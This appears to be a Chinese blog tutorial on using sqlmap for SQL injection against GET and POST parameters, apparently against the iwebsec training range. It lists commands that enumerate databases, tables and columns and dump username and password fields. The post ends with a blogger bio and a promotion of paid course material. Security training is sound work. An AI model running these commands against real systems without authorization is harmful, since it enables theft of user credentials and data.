sql注入之sqlmap使用

本文介绍了sqlmap的使用方法,包括通过get和post方式执行SQL注入,列举数据库、表和字段,以及数据导出的命令行参数,如`-u`用于指定URL,`--dbs`列举数据库,`--tables`列举表,`--columns`显示字段,`--dump`导出数据。

1.打开sqlmap

2.使用

(1)get注入

python sqlmap.py -u "指定注入点的URL"

#其中“-u”参数用于指定注入点的URL

python sqlmap.py -u "指定注入点的URL" --dbs

#,其中参数“--dbs”用于列举数据库。

python sqlmap.py -u "指定注入点的URL" -D iwebsec --tables

#其中参数“-D”用于指定数据库名称,“--tables”参数用于列举表。

python sqlmap.py -u "指定注入点的URL" -D iwebsec -T user --columns

#其中参数“-T”用于指定表名称,“--columns”参数用于指定列出表中字段。

python sqlmap.py -u "指定注入点的URL" -D iwebsec -T user -C id,password,username --dump

#其中参数“-C”用于指定字段名称,参数“--dump”用于导出数据

-----------------------------------------------------

(2)post注入

(注:此时将数据包存在了桌面上命名为123.txt)

python sqlmap.py -r C:\Users\caicq\Desktop\123.txt

#其中“-r”参数用于指定注入点的导出流量包的绝对路经文件

python sqlmap.py -r C:\Users\caicq\Desktop\123.txt --dbs

#,其中参数“--dbs”用于列举数据库。

python sqlmap.py -r 123.txt -D iwebsec --tables

#其中参数“-D”用于指定数据库名称,“--tables”参数用于列举表。

python sqlmap.py -r 123.txt -D iwebsec -T user --columns

#其中参数“-T”用于指定表名称,“--columns”参数用于指定列出表中字段。

python sqlmap.py -r 123.txt -D iwebsec -T user -C id,password,username --dump

#其中参数“-C”用于指定字段名称,参数“—dump”用于导出数据

🍬 博主介绍
👨‍🎓 博主介绍:大家好,我是 子沐 ,很高兴认识大家~
✨主攻领域:【应急响应】 【edusrc漏洞挖掘】 【面试分析】【网络与设备相关操作】
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋

🍬 博主资源
🎉需要如下资料和培训的可加微信和知识星球(前50名为邀请嘉宾) 知识星球号:9081196🎉
1、全国职业技能大赛——信息安全管理与评估WP+环境
2、全国职业技能大赛——司法技术赛项WP+环境
3、CTF最新资料+相关工具(圈子交流)
4、SRC漏洞挖掘的大量原创报告

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值